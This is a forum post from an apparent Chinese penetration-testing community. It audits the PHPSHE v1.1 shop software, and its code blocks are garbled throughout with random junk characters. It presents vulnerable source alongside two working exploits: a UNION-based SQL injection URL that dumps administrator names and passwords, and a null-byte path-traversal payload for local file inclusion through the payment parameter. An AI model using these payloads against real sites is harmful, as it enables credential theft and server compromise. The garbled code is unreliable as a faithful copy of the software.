* O! w6 |) h) U9 y# D" K
0×02 搜索注入; ~5 ?# t# B/ d
<code id="code2">
//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));" \5 u- Z/ e: Q. y! b
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');, E$ G; S7 h+ k9 Y* [
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";* c& D) L$ a1 x t
}; C, m% M( P) c7 Y4 w Y
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {( Y$ \5 |* d/ i% M3 N% ~
$orderby = explode('_', $_g_orderby);" c+ u: z1 C* g3 @4 @* @' E
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {, ^8 {3 ^0 O! a: A' |7 E
$sqlwhere .= " order by `product_id` desc";
}4 } n/ O1 o7 K7 v( d2 p: R
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));- S B7 }5 E J+ o
//热卖排行2 I. z( Y! b2 T
$product_hotlist = product_hotlist();, g% t. }6 Z# G3 B2 z5 T
//当前路径: A8 X8 O# x+ F; k5 X, X, y
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);: r4 |' Y- Q! q! Q- r) ]4 w
include(pe_tpl('product_list.html'));0 D5 |8 Y/ W$ E" ^+ o% }
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())* {3 N" D4 `$ p- R9 Y
{8 L, y; J2 D+ c; P2 a& C
//处理条件语句" }% E, {/ N# F5 B$ d2 h( a8 Q
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);2 _' A& F% I% c3 Y2 }
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
</code>
7 f1 d5 t3 A$ M e$ f- ?3 p
0×03 包含漏洞20 v7 }2 f1 `: j- A5 @! V" U$ _! w$ g- h4 E
" d" c1 l, B* W# b: L6 M, Y" G
<code id="code3">
//order.php
case 'pay':
" L' `, ?" ?, g) [7 L
$order_id = pe_dbhold($_g_id);
8 P8 v# n& \! d! u. h9 l
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
; I& P2 J3 Q) n5 {& M
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
! H( O& r" n+ v5 N8 Z
}
! M" g/ x0 }, i1 D3 e/ k& H8 w
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
5 p$ ~2 c& o$ G5 l1 N2 T
!$order['order_id'] && pe_error('订单号错误...');
. v8 [+ ^4 p) [' J9 w6 T4 E
if (isset($_p_pesubmit)) {
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
$ P8 x, h3 a3 a- H* X! k5 p; x, T
$order['order_name'] .= "{$v['product_name']};";; p+ b/ `: a) C& G, e
% B4 N! D/ |$ M
}
- Z A; V# r3 p! b
echo '正在为您连接支付网站,请稍后...';
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
: N) R2 s. Y! U; R
}//当一切准备好的时候就可以进行"鸡肋包含了"
else {
pe_error('支付错误...');
}
}
n* b7 A y" [1 }7 K- w% n0 @
$seo = pe_seo('选择支付方式');
; l2 u8 g! e& Q( M
include(pe_tpl('order_pay.html'));
: P* u4 {9 L8 f$ X
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>$ y" b7 c& T6 _; u! L1 Z2 |
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |